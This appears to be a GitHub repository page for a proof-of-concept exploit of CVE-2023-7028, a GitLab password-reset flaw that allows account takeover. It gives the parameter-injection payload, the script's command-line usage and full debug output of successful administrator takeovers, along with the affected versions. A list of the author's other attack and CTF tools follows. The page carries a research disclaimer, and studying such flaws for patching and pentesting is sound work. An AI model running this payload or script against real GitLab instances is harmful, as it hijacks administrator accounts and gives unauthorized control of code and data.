• Stars
    star
    235
  • Rank 171,079 (Top 4 %)
  • Language
    Python
  • Created 11 months ago
  • Updated 11 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

This repository presents a proof-of-concept of CVE-2023-7028

CVE-2023-7028 | Account-Take-Over Gitlab

Disclamer

This code is a proof of concept of the vulnerability, I'm not pushing anyone to use it on gitlab instances they don't own.
This tool has been developed for research and educational purposes only and I will not be held responsible for any use you may make of it.

Description:

CVE-2023-7028 refers to an Account-Take-Over vulnerability that allows users to take control of the gitlab administrator account without user interaction.

The vulnerability lies in the management of emails when resetting passwords. An attacker can provide 2 emails and the reset code will be sent to both.
It is therefore possible to provide the e-mail address of the target account as well as that of the attacker, and to reset the administrator password.
(Gitlab points out that 2-factor authentication prevents this vulnerability from being exploited, since an attacker, even after resetting the password, will not be able to log in.)

This vulnerability was discovered by asterion04

Payload:

Here's an example payload

user[email][][email protected]&user[email][][email protected]

POC:

Method 1: Using temp email
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try NĀ°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
Method 2: Using evil email
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Help

$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

Note:

Without the --evil option, which specifies the attacker's email address, the script uses a public temp-mail to find the password reset link.
=> Be careful if this poc is used during a pentest.

Versions concerned

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

References:

More Repositories

1

AES-Flipper

This tool automates and facilitates an AES CBC BitFlip attack
Python
14
star
2

CVE-2023-22527

This repository presents a proof-of-concept of CVE-2023-22527
Python
13
star
3

CVE-2024-23897

This repository presents a proof-of-concept of CVE-2024-23897
Python
11
star
4

Discord-CTFD-Parser

This tools is used to create automatically discord threads by scraping ctfd plateform and collecting name , category , description and points of challenges.
Python
10
star
5

CTFlagger

This website is used to automatically scan files during CTF.
Python
7
star
6

RSA-Padding-Oracle

This tool is an implementation of the Bleichenbacher's attack on RSA PKCS1.5 padding
Python
6
star
7

AES-Square-Attack

This tool is the implementation of the Square-Attack on an AES-128
Python
5
star
8

DLP-Solver

This tool is used to solve the discrete logarithm problem
Python
5
star
9

RevBrain

This tool automates the recognition phase of a crackme binary & try to solve it . Mainly useful for basic reverse CTFs challenges !
Python
4
star
10

AES-ECB-Padding-attack

This tool automates and facilitates a padding attack on AES with ECB mode
Python
4
star
11

Facto4CTF

This tool is used to try out different factoring techniques (based on RsaCTFTool) . Mainly used in CTF.
Python
3
star
12

Ctfd-Account-Creator

This tool is used to automatically create accounts for a complete team on CTFD platform.
Python
3
star
13

Cryptolib

This python library gathers all the cryptographic attacks that I present on my site vozec.fr
Python
3
star
14

Feal-ALL

This tool is the python implementation of the 3 versions of FEAL encryption
Python
3
star
15

Vigenere-Plaintext-Attack

This tool automates a plaintext attack on a vigenere cryptosystem
Python
2
star
16

AES-DFA

This tool automates and facilitates an Differential fault analysis attack on AES 128 with a fault injected between the 2 last MixColumns
Python
2
star
17

AES-CBC-Padding-attack

This tool automates and facilitates a padding attack on AES with CBC mode
Python
2
star
18

Discord-Multi-Account-Detector

This discord bot is used to evaluate a Safe-Score from 0 to 100 for each account joining a server
Python
1
star
19

TP_SEC105

TP UE: SEC105
Python
1
star
20

CTFd-Tracker

This tool is used to detect cheater on ctf ctfd-based by creating score between differents teams.
Python
1
star
21

vozec.fr

My personal Hugo Website
JavaScript
1
star